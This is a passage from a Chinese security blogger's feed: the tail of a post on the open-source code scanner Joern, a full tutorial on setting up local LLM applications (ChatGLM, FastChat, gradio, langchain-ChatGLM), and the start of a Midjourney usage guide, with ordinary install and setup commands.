&lt;p&gt;而随着&lt;strong&gt;CodeQL的概念&lt;/strong&gt;逐渐被大家接受之后，现在的代码扫描工具越来越趋近于将&lt;strong&gt;底层和上层拆解开来&lt;/strong&gt;，由底层的引擎将代码统一化处理，然后使用者在上层通过编写规则或者语句就可以。主流的&lt;strong&gt;CodeQL、Checkmarx&lt;/strong&gt;其实都使用了类似的方案。今天要说的&lt;strong&gt;Joern&lt;/strong&gt;也是如此。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;今天介绍的Joern有什么特殊的呢？&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;首先CodeQL本身不开源只能使用，偏偏微软还做了商业化限制，以微软喜欢秋后算账的风格来讲，实在无法确定深入研究CodeQL是否值得。&lt;/p&gt;
&lt;p&gt;除此之外，市面上的很多白盒扫描工具其实是&lt;strong&gt;非静态的&lt;/strong&gt;，扫描的时候不但需要配置复杂的运行环境，而且&lt;strong&gt;本身可能依赖编译过程&lt;/strong&gt;，无论是自己使用还是商业化这都非常不实用。&lt;/p&gt;
&lt;p&gt;个人认为白盒工具有着几个很重要的点&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;静态扫描&lt;/strong&gt;，&lt;strong&gt;静态扫描的优势和便利程度&lt;/strong&gt;才是白盒比较优势的一环，毕竟白盒不是灰盒，如果对编译环境和运行环境有依赖那为什么不使用更准确的灰盒&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;扫描速度&lt;/strong&gt;，虽然这点是很多商业化白盒软件的通病，但无论在哪家公司的DevSecOps中，最终目标肯定是把安全检测加载上线前，那么无论是1分钟、3分钟还是5分钟，&lt;strong&gt;扫描速度会是第一优先级&lt;/strong&gt;，比如CheckMarx动辄几小时的扫描肯定是不现实的&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可diy性&lt;/strong&gt;，当然对于大部分人来说这点其实并不是很重要，但能对引擎进行深入改造会是优化开发非常重要的一点，&lt;strong&gt;joern是开源的&lt;/strong&gt;，在这方面他有很大的优势&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可拓展性&lt;/strong&gt;，市面上大部分的白盒扫描工具动辄支持几十种语言，比如说snoarqube这种，但实际上大部分拓展语言只支持非常简单的正则拓展，&lt;strong&gt;我一直觉得现代白盒软件很重要的一条路就是走通用性&lt;/strong&gt;，这也是比较有名的一些白盒工具都选择的路，在白盒扫描过程中会刻意将统一结构拆分出去再做分析扫描。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;今天介绍的joern的其实就是这类工具的一员，他最大的特点其实就是开源。&lt;/p&gt;</summary>
    
    
    
    
    <category term="sast" scheme="https://lorexxar.cn/tags/sast/"/>
    
    <category term="joern" scheme="https://lorexxar.cn/tags/joern/"/>
    
    <category term="cpg" scheme="https://lorexxar.cn/tags/cpg/"/>
    
  </entry>
  
  <entry>
    <title>打造自己的AIGC应用（一）入门篇</title>
    <link href="https://lorexxar.cn/2023/07/19/aigc1/"/>
    <id>https://lorexxar.cn/2023/07/19/aigc1/</id>
    <published>2023-07-19T10:18:59.000Z</published>
    <updated>2023-07-19T10:23:01.000Z</updated>
    
    <content type="html"><![CDATA[<p>其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是<strong>ChatGPT的出现</strong>，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。就现在而言，<strong>打造一个自己的AIGC应用已经非常简单了</strong>。</p><a id="more"></a><h1 id="基础环境"><a href="#基础环境" class="headerlink" title="基础环境"></a>基础环境</h1><p>我们需要配置一个环境</p><ul><li><strong>python3.8+，不要太新</strong></li><li><strong>CUDA+环境</strong></li><li><strong>pytorch</strong></li><li><strong>支持C++17的编译器</strong></li></ul><p>首先我比较推荐你配置一个<strong>anaconda</strong>的环境，因为pytorch的其他安装方法真的很麻烦</p><ul><li><a href="https://www.anaconda.com/distribution/#download-section" target="_blank" rel="noopener">https://www.anaconda.com/distribution/#download-section</a></li></ul><p>然后你需要安装CUDA的环境，正常来说只需要下载<strong>对应的CUDA版本</strong>即可</p><ul><li><a href="https://developer.nvidia.com/cuda-downloads" target="_blank" rel="noopener">https://developer.nvidia.com/cuda-downloads</a></li></ul><p>然后就是安装<strong>pytorch</strong>的环境，这个环境比较麻烦，正常来说<strong>通过conda来安装</strong>是比较靠谱的办法，当然有些时候就是安不了。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822387.png" alt="img"></p><p>如果安装不成功，就只能用源码来编译了。</p><ul><li><a href="https://github.com/pytorch/pytorch#from-source" target="_blank" rel="noopener">https://github.com/pytorch/pytorch#from-source</a></li></ul><p>首先，clone一下源码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">git clone --recursive https://github.com/pytorch/pytorch</span><br><span class="line">cd pytorch</span><br><span class="line"><span class="comment"># if you are updating an existing checkout</span></span><br><span class="line">git submodule sync</span><br><span class="line">git submodule update --init --recursive</span><br></pre></td></tr></table></figure><p>然后安装一下对应的各种依赖</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">conda install cmake ninja</span><br><span class="line"><span class="comment"># Run this command from the PyTorch directory after cloning the source code using the “Get the PyTorch Source“ section below</span></span><br><span class="line">pip install -r requirements.txt</span><br><span class="line"></span><br><span class="line">conda install mkl mkl-include</span><br><span class="line"><span class="comment"># Add these packages if torch.distributed is needed.</span></span><br><span class="line"><span class="comment"># Distributed package support on Windows is a prototype feature and is subject to changes.</span></span><br><span class="line">conda install -c conda-forge libuv=<span class="number">1.39</span></span><br></pre></td></tr></table></figure><p>然后<strong>windows的源码编译有点儿复杂</strong>，具体要参考各种情况下的编译</p><ul><li><a href="https://github.com/pytorch/pytorch#install-pytorch" target="_blank" rel="noopener">https://github.com/pytorch/pytorch#install-pytorch</a></li></ul><p>在编译这个<strong>pytorch</strong>这个东西的时候我遇到过贼多问题，其中大部分问题我都搜不到解决方案，最终找到的最靠谱的方案是，<strong>不能用太低或者太高版本的python</strong>，会好解决很多，最终我选择了用3.10版本的python，解决了大部分的问题。</p><p>另外就是如果gpu不是很好或者显存不是很高，也可以<strong>使用cpu版本</strong>，大部分电脑的内存都会比较大，起码能跑起来。</p><p><strong>如果是windows</strong>，那一定会用到<strong>huggingface</strong>，有个东西我建议一定要注意下。</p><p>默认的huggingface和pytorch的缓存文件夹是在～/.cache/下，是在c盘下面，而一般LLM的模型文件都贼大，很容易把C盘塞满，这个注意要改下。</p><p><strong>在环境变量里加入**</strong>HF_HOME和TORCH_HOME ，设<strong>**置为指定变量即可。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822422.png" alt="img"></p><p>除此之外，有的项目也会提供<strong>docker化的部署方案</strong>，如果采用这种方案，就必须在宿主机安装<strong>NVIDIA Container Toolkit</strong>，并重启docker</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">sudo apt-get install -y nvidia-container-toolkit-base</span><br><span class="line">sudo systemctl daemon-reload </span><br><span class="line">sudo systemctl restart docker</span><br></pre></td></tr></table></figure><h1 id="进阶构成"><a href="#进阶构成" class="headerlink" title="进阶构成"></a>进阶构成</h1><h2 id="LLM"><a href="#LLM" class="headerlink" title="LLM"></a>LLM</h2><p><strong>LLM全称**</strong>Large Language Model<strong>，大语言模型，是以ChatGPT为代表的ai对话核心模块，相比我们无法控制、训练的ChatGPT，也逐渐在出现大量的开源大语言模型，尤其是以</strong>ChatGLM、LLaMA**为代表的轻量级语言模型相当好用。</p><p>虽然<strong>这些开源语言模型相比ChatGPT差距巨大</strong>，但深度垂直领域的ai应用也在逐渐被人们所认可。与其说我们想要在开源世界寻找ChatGPT的代替品，不如说这些开源大语言模型的出现，意味着我们有能力打造自己的GPT。</p><ul><li><strong>ChatGLM-6B</strong></li><li><a href="https://github.com/THUDM/ChatGLM-6B" target="_blank" rel="noopener">https://github.com/THUDM/ChatGLM-6B</a></li><li><strong>ChatGLM2-6B</strong></li><li><a href="https://github.com/THUDM/ChatGLM2-6B" target="_blank" rel="noopener">https://github.com/THUDM/ChatGLM2-6B</a></li></ul><p>目前中文领域效果最好，也是应用最多的开源底座模型。大部分的<strong>中文GPT二次开发几乎都是在这个模型的基础上做的开发</strong>，尤其是2代之后进一步拓展了基座模型的上下文长度。最厉害的是它允许商用。</p><ul><li><strong>Moss</strong></li><li><a href="https://github.com/OpenLMLab/MOSS" target="_blank" rel="noopener">https://github.com/OpenLMLab/MOSS</a></li></ul><p><strong>MOSS是一个支持中英双语和多种插件的开源对话语言模型</strong>，moss-moon系列模型具有160亿参数，在FP16精度下可在单张A100/A800或两张3090显卡运行，在INT4/8精度下可在单张3090显卡运行。MOSS基座语言模型在约七千亿中英文以及代码单词上预训练得到，后续经过对话指令微调、插件增强学习和人类偏好训练具备多轮对话能力及使用多种插件的能力。</p><ul><li><strong>ChatRWKV</strong></li><li><a href="https://github.com/BlinkDL/ChatRWKV" target="_blank" rel="noopener">https://github.com/BlinkDL/ChatRWKV</a></li></ul><p><strong>一系列基于RWKV架构的Chat模型（包括英文和中文）</strong>，发布了包括Raven，Novel-ChnEng，Novel-Ch与Novel-ChnEng-ChnPro等模型，可以直接闲聊及进行诗歌，小说等创作，包括7B和14B等规模的模型。</p><p>LLM的基座模型说实话有点儿多，尤其是在最开始的几个开源之后，后面各种LLM基座就像雨后春笋一样出现了，<strong>比较可惜的是目前的的开源模型距离ChatGPT的差距非常之大，大部分的模型只能达到GPT3的级别，距离GPT3.5都有几个量级的差距，更别提GPT4了。</strong></p><ul><li><a href="https://github.com/HqWu-HITCS/Awesome-Chinese-LLM" target="_blank" rel="noopener">https://github.com/HqWu-HITCS/Awesome-Chinese-LLM</a></li><li><a href="https://github.com/chenking2020/FindTheChatGPTer" target="_blank" rel="noopener">https://github.com/chenking2020/FindTheChatGPTer</a></li></ul><p>给大家看一个通过<strong>一些标准排名出来的LLM排行榜，这个说法比较多，一般就是看样本集的覆盖程度。</strong></p><ul><li><a href="https://github.com/CLUEbenchmark/SuperCLUElyb" target="_blank" rel="noopener"><strong>https://github.com/CLUEbenchmark/SuperCLUElyb</strong></a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822932.png" alt="img"></p><h2 id="Embedding"><a href="#Embedding" class="headerlink" title="Embedding"></a>Embedding</h2><p>Embedding 模型也是GPT的很重要一环，在之前的文章里曾经提到过。由于GPT的只能依赖对话的模式受限于上下文的长度。</p><p>所以也就衍生出了不少的开源Embedding模型</p><ul><li><a href="https://huggingface.co/GanymedeNil/text2vec-large-chinese" target="_blank" rel="noopener">https://huggingface.co/GanymedeNil/text2vec-large-chinese</a></li><li><a href="https://huggingface.co/shibing624/text2vec-base-chinese" target="_blank" rel="noopener">https://huggingface.co/shibing624/text2vec-base-chinese</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822989.png" alt="img"></p><h2 id="gradio"><a href="#gradio" class="headerlink" title="gradio"></a>gradio</h2><p><strong>gradio是一个非常有名的机器学习用于数据演示的web框架。</strong>通过gradio可以快速的构建一个可以实时交互的web界面。有点儿像flask</p><ul><li><a href="https://github.com/gradio-app/gradio" target="_blank" rel="noopener">https://github.com/gradio-app/gradio</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822258.png" alt="img"></p><p>首先要注意gradio最起码<strong>python在3.8版本以上</strong>.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> gradio <span class="keyword">as</span> gr</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">greet</span><span class="params">(name)</span>:</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">"Hello "</span> + name + <span class="string">"!"</span></span><br><span class="line"></span><br><span class="line">demo = gr.Interface(fn=greet, inputs=<span class="string">"text"</span>, outputs=<span class="string">"text"</span>)</span><br><span class="line">    </span><br><span class="line">demo.launch()</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822400.png" alt="img"></p><p>gradio支持非常多这类的常用场景，就比如<strong>文本、勾选框、输入条，甚至文件上传、图片上传</strong>，都有非常不错的原生支持。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822513.png" alt="img"></p><h2 id="FastChat"><a href="#FastChat" class="headerlink" title="FastChat"></a>FastChat</h2><p><strong>FastChat是一个在LLM基础上构筑的一体化平台</strong>，FastChat是基于<strong>LLaMA</strong>做的二次调参训练。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pip3 install fschat</span><br></pre></td></tr></table></figure><p>正常使用需要用机器生成<strong>Vicuna</strong>模型，将LLaMa weights合并Vicuna weights。而这个过程需要<strong>大量的内存和CPU</strong>，官方给出的参考数据是</p><ul><li>Vicuna-7B：30 GB of CPU RAM</li><li>Vicuna-13B：60 GB of CPU RAM</li></ul><p><strong>如果没有足够的内存用</strong>，可以尝试下面两个办法来操作一下：</p><p>1、在命令中加入<strong>–low-cpu-mem</strong>，这个命令可以把峰值内存降到16G以下</p><p>2、创建一个比较大的交换分区让操作系统用硬盘作为虚拟内存</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">python3 -m fastchat.model.apply_delta \</span><br><span class="line">    --base-model-path /path/to/llama<span class="number">-7</span>b \</span><br><span class="line">    --target-model-path /path/to/output/vicuna<span class="number">-7</span>b \</span><br><span class="line">    --delta-path lmsys/vicuna<span class="number">-7</span>b-delta-v1<span class="number">.1</span></span><br><span class="line"></span><br><span class="line">python3 -m fastchat.model.apply_delta \</span><br><span class="line">    --base-model-path /path/to/llama<span class="number">-13</span>b \</span><br><span class="line">    --target-model-path /path/to/output/vicuna<span class="number">-13</span>b \</span><br><span class="line">    --delta-path lmsys/vicuna<span class="number">-13</span>b-delta-v1<span class="number">.1</span></span><br></pre></td></tr></table></figure><p>下载完模型文件之后，可以快捷的使用对应的模型</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -m fastchat.serve.cli --model-path lmsys/fastchat-t5<span class="number">-3</span>b-v1<span class="number">.0</span></span><br></pre></td></tr></table></figure><p>相比其他的基座模型LLM，<strong>FastChat的平台化</strong>程度就比较高了。</p><p>首先提供了<strong>controller和model worker</strong>分别部署的方案，一对多的方案本身比较符合项目化的结构。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">python3 -m fastchat.serve.controller</span><br><span class="line"></span><br><span class="line">python3 -m fastchat.serve.model_worker --model-path /path/to/model/weights</span><br></pre></td></tr></table></figure><p>而且同样<strong>利用gradio构建了相应的web界面</strong></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3 -m fastchat.serve.gradio_web_server</span><br></pre></td></tr></table></figure><p>除此之外FastChat还提供了<strong>和openai完全兼容的api接口</strong>和restfulapi.</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> openai</span><br><span class="line">openai.api_key = <span class="string">"EMPTY"</span> <span class="comment"># Not support yet</span></span><br><span class="line">openai.api_base = <span class="string">"http://localhost:8000/v1"</span></span><br><span class="line"></span><br><span class="line">model = <span class="string">"vicuna-7b-v1.3"</span></span><br><span class="line">prompt = <span class="string">"Once upon a time"</span></span><br><span class="line"></span><br><span class="line"><span class="comment"># create a completion</span></span><br><span class="line">completion = openai.Completion.create(model=model, prompt=prompt, max_tokens=<span class="number">64</span>)</span><br><span class="line"><span class="comment"># print the completion</span></span><br><span class="line">print(prompt + completion.choices[<span class="number">0</span>].text)</span><br><span class="line"></span><br><span class="line"><span class="comment"># create a chat completion</span></span><br><span class="line">completion = openai.ChatCompletion.create(</span><br><span class="line">  model=model,</span><br><span class="line">  messages=[&#123;<span class="string">"role"</span>: <span class="string">"user"</span>, <span class="string">"content"</span>: <span class="string">"Hello! What is your name?"</span>&#125;]</span><br><span class="line">)</span><br><span class="line"><span class="comment"># print the completion</span></span><br><span class="line">print(completion.choices[<span class="number">0</span>].message.content)</span><br></pre></td></tr></table></figure><p>甚至可以直接以api的方式接入到其他的平台中，完成度很高。</p><h2 id="知识库文件"><a href="#知识库文件" class="headerlink" title="知识库文件"></a>知识库文件</h2><p><strong>知识库文件是langchain类方案中比较重要的一环</strong>，所有的问题会先进入知识库中搜索结果然后再作为上下文，知识库文件的数据量会直接影响到这类应用的结果有效度。而现在<strong>比较常见的相似度检测用的都是faiss</strong>，构建向量数据库用于数据比对。</p><ul><li><a href="https://github.com/facebookresearch/faiss" target="_blank" rel="noopener">https://github.com/facebookresearch/faiss</a></li></ul><table><thead><tr><th>知识库数据</th><th>FAISS向量</th></tr></thead><tbody><tr><td>中文维基百科截止4月份数据，45万</td><td>链接：<a href="https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn" target="_blank" rel="noopener">https://pan.baidu.com/s/1VQeA_dq92fxKOtLL3u3Zpg?pwd=l3pn</a> 提取码：l3pn</td></tr><tr><td>截止去年九月的130w条中文维基百科处理结果和对应faiss向量文件</td><td>链接：<a href="https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij" target="_blank" rel="noopener">https://pan.baidu.com/s/1Yls_Qtg15W1gneNuFP9O_w?pwd=exij</a> 提取码：exij</td></tr><tr><td>💹 <a href="http://openkg.cn/dataset/fr2kg" target="_blank" rel="noopener">大规模金融研报知识图谱</a></td><td>链接：<a href="https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv" target="_blank" rel="noopener">https://pan.baidu.com/s/1FcIH5Fi3EfpS346DnDu51Q?pwd=ujjv</a> 提取码：ujjv</td></tr></tbody></table><p>相应的现在很多应用还内置了<strong>用于测试知识库的接口</strong>，比如langchain-ChatGLM</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822165.png" alt="img"></p><p>通过<strong>微调知识相关度的阈值</strong>，可以让回答消息更有效。你甚至可以直接在平台新建知识库并录入数据。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822043.png" alt="img"></p><h1 id="langchain"><a href="#langchain" class="headerlink" title="langchain"></a>langchain</h1><p><strong>langchain是现在成熟度比较高的一套Aigc应用，现在比较主流的一种知识库检索方案</strong>，用的是曾经的文章中提到过的基于上下文的训练方案，用户输出会先<strong>进入数据库检索</strong>，然后找出最匹配问题的部分结果然后和问题<strong>一起加入到prompt的上下文</strong>中，最终由<strong>LLM生成最终的回答</strong>。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822632.png" alt="img"></p><p>这个方案是目前<strong>最经典的知识库型训练方案</strong>，最有效的解决了<strong>大模型本身训练的难度和反馈结果的有效度</strong>难以兼容的问题。</p><ul><li><a href="https://github.com/hwchase17/langchain" target="_blank" rel="noopener">https://github.com/hwchase17/langchain</a></li></ul><p>建立在langchain的思想上，其实衍生了非常多比较有意思的项目，<strong>一方面引用了包括ChatGLM-6B等各种开源的大模型</strong>，也用了<strong>开源的embedding方案</strong>来处理文本。</p><ul><li><a href="https://github.com/THUDM/ChatGLM-6B" target="_blank" rel="noopener">https://github.com/THUDM/ChatGLM-6B</a></li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822033.png" alt="img"></p><ul><li><a href="https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main" target="_blank" rel="noopener">https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main</a></li></ul><p>另一方面呢也做了比较成熟的<strong>vue前端+知识库</strong>，可以快速的拼凑出可用的chat ai。</p><ul><li><a href="https://github.com/imClumsyPanda/langchain-ChatGLM" target="_blank" rel="noopener">https://github.com/imClumsyPanda/langchain-ChatGLM</a></li><li><a href="https://github.com/yanqiangmiffy/Chinese-LangChain#![img](https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822670.png)" target="_blank" rel="noopener">https://github.com/yanqiangmiffy/Chinese-LangChain#![img](https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822670.png)</a></li></ul><h2 id="langchain-ChatGLM"><a href="#langchain-ChatGLM" class="headerlink" title="langchain-ChatGLM"></a>langchain-ChatGLM</h2><p>langchain-ChatGLM是诸多langchain方案中中文支持实现的比较好的一个，过程包括<strong>加载文件 -&gt; 读取文本 -&gt; 文本分割 -&gt; 文本向量化 -&gt; 问句向量化 -&gt; 在文本向量中匹配出与问句向量最相似的**</strong>top k<strong><strong>个 -&gt; 匹配出的文本作为上下文和问题一起添加到</strong></strong>prompt<strong><strong>中 -&gt; 提交给</strong></strong>LLM<strong>**生成回答</strong>。</p><p>整个项目中的每个部分都可以一定程度的自由组合，Embedding 默认选用的是 <a href="https://huggingface.co/GanymedeNil/text2vec-large-chinese/tree/main" target="_blank" rel="noopener"><strong>GanymedeNil/text2vec-large-chinese</strong></a>，LLM 默认选用的是 <a href="https://github.com/THUDM/ChatGLM-6B" target="_blank" rel="noopener"><strong>ChatGLM-6B</strong></a>。或者也可以通过<strong>fastchat</strong>来接入。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822380.png" alt="img"></p><p>配置完成并安装好环境之后，就可以运行，首次运行会下载对应的大模型。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822386.png" alt="img"></p><p>当然，这个模型实在是太大了，命令行下载的时候非常容易出问题，所以可以参考ChatGLM-6B的方案，自己下载模型然后再加载。</p><ul><li><a href="https://github.com/THUDM/ChatGLM-6B#从本地加载模型" target="_blank" rel="noopener">https://github.com/THUDM/ChatGLM-6B#%E4%BB%8E%E6%9C%AC%E5%9C%B0%E5%8A%A0%E8%BD%BD%E6%A8%A1%E5%9E%8B</a></li></ul><p>比较靠谱的就是先下模型实现，然后再单独下载模型并覆盖所有的文件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">GIT_LFS_SKIP_SMUDGE=<span class="number">1</span> git clone https://huggingface.co/THUDM/chatglm<span class="number">-6</span>b</span><br></pre></td></tr></table></figure><ul><li><a href="https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/" target="_blank" rel="noopener">https://cloud.tsinghua.edu.cn/d/fb9f16d6dc8f482596c2/</a></li></ul><p>然后需要修改对应的配置文件中模型的位置，在configs/model_config.py</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822879.png" alt="img"></p><p>默认的知识库文件路径是</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">knowledge_base\samples</span><br></pre></td></tr></table></figure><p>如果想用自用的本地知识文件，放在对应目录的knowledge_base即可。现在的知识库文件会遍历目录下的文件，所以指定目录即可。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python cli_demo.py</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822803.png" alt="img"></p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">python3<span class="number">.10</span> .\webui.py</span><br></pre></td></tr></table></figure><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202307191822855.png" alt="img"></p>]]></content>
    
    
    <summary type="html">&lt;p&gt;其实细数AI的发展历程非常之久，而让AI的应用一下子出现在人们眼前的其实就是&lt;strong&gt;ChatGPT的出现&lt;/strong&gt;，这意味着AIGC应用已经从概念为王变的非常实用了。伴随着ChatGPT的出现，大量的开源大模型也如雨后春笋一样出现。就现在而言，&lt;strong&gt;打造一个自己的AIGC应用已经非常简单了&lt;/strong&gt;。&lt;/p&gt;</summary>
    
    
    
    
    <category term="aigc" scheme="https://lorexxar.cn/tags/aigc/"/>
    
  </entry>
  
  <entry>
    <title>赛博偶像速成指南（三）- Midjourney</title>
    <link href="https://lorexxar.cn/2023/06/21/cybergirl3/"/>
    <id>https://lorexxar.cn/2023/06/21/cybergirl3/</id>
    <published>2023-06-21T09:27:49.000Z</published>
    <updated>2023-06-21T09:30:40.000Z</updated>
    
    <content type="html"><![CDATA[<p>之前的几篇关于AI生成图片的文章讲的都是<strong>stable diffusion</strong>，虽然SD<strong>出现的更早而且开源免费</strong>，但其实在设计圈使用更广泛的是<strong>Midjourney</strong>，<strong>Midjourney最大的优点就是使用的便利性，任何一个不懂技术的设计都可以通Midjourney来快速完成设计，而且Midjourney的底层基础模型成熟度相当高，生成的图质量都很高。</strong></p><a id="more"></a><h1 id="快速入门"><a href="#快速入门" class="headerlink" title="快速入门"></a>快速入门</h1><p>注册Discord并授权使用Midjourney的bot</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729980.png" alt="img"></p><p>现在的Midjourney已经正式转为<strong>收费版本</strong>了，价格还是比较便宜的，最便宜的版本一个月60多块也还算能接受。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729280.png" alt="img"></p><p>订阅完成之后就<strong>可以加入Midjourney的频道，在左边可以选择newbie或者general的频道</strong>进去</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729966.png" alt="img"></p><p>你可以直接在这个频道里使用，当然，这个频道里消息非常多，刷的很快，也有一个办法是你可以<strong>在自己的私人频道使用这个bot</strong>。首先你需要有一个你<strong>拥有管理权限的频道</strong>，然后在Midjourney中找到这个bot并把它添加到自己的服务器中。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729624.png" alt="img"></p><p>然后就可以<strong>正常的使用命令</strong>了。</p><p><strong>最常用的命令就是/imagine</strong>，输入命令会直接引导格式让你输入对应的prompt，但很可惜的是Midjourney本体<strong>对中文的支持并不是很好</strong>，生成结束之后就会弹出结果。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729655.png" alt="img"></p><p>下面的几个选项对应的是<strong>上面图的进一步发展方向</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729743.png" alt="img"></p><p>其中<strong>U是选定并放大其中的一张图，V是选定一张图在这个图的结构上进一步生成</strong>，如果都不满意还可以重新生成一次。</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729119.png" alt="img"></p><p>假设我们选择U1之后，他会获得一个<strong>放大版本的更多细节的图。</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729840.png" alt="img"></p><p>之后如果你还想进一步生成，还可以点选<strong>Make Variations来继续生成之前的4格图</strong>继续风格的演变和生成。</p><h1 id="进阶配置"><a href="#进阶配置" class="headerlink" title="进阶配置"></a>进阶配置</h1><p>Midjourney的基础用法就是<strong>用imagine配合基础的文字描述</strong>来生成图片</p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729744.png" alt="img"></p><p>但事实上，Midjourney还有<strong>很多进阶选项</strong></p><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729676.png" alt="img"></p><p>首先你可以通过<strong>传入图片链接来使用图生图功能</strong>。除此之外，还有一些参数可以提供。</p><ul><li><strong>–aspect，–ar：</strong>修改生成图片的纵横比. </li></ul><p>ps: –aspect 2:3</p><ul><li><strong>–chaos &lt;number 0–100&gt;：</strong>改变结果的多样性，值越高变量越大</li><li><strong>–iw &lt;0–2&gt;：</strong>设置图片prompt和文字prompt的权重比例，默认值是1</li><li><strong>–no Negative prompting：</strong>否定提示词，比如说–no plants可以去除图里的植物</li></ul><p><img src="https://lorexxar-blog.oss-cn-shanghai.aliyuncs.com/blog/202306211729328.png" alt="img"></p><ul><li><strong>–quality &lt;.25, .5, or 1&gt;：</strong>花费多少渲染质量时间，默认值是1</li><li><strong>–repeat &lt;1–40&gt;，–r 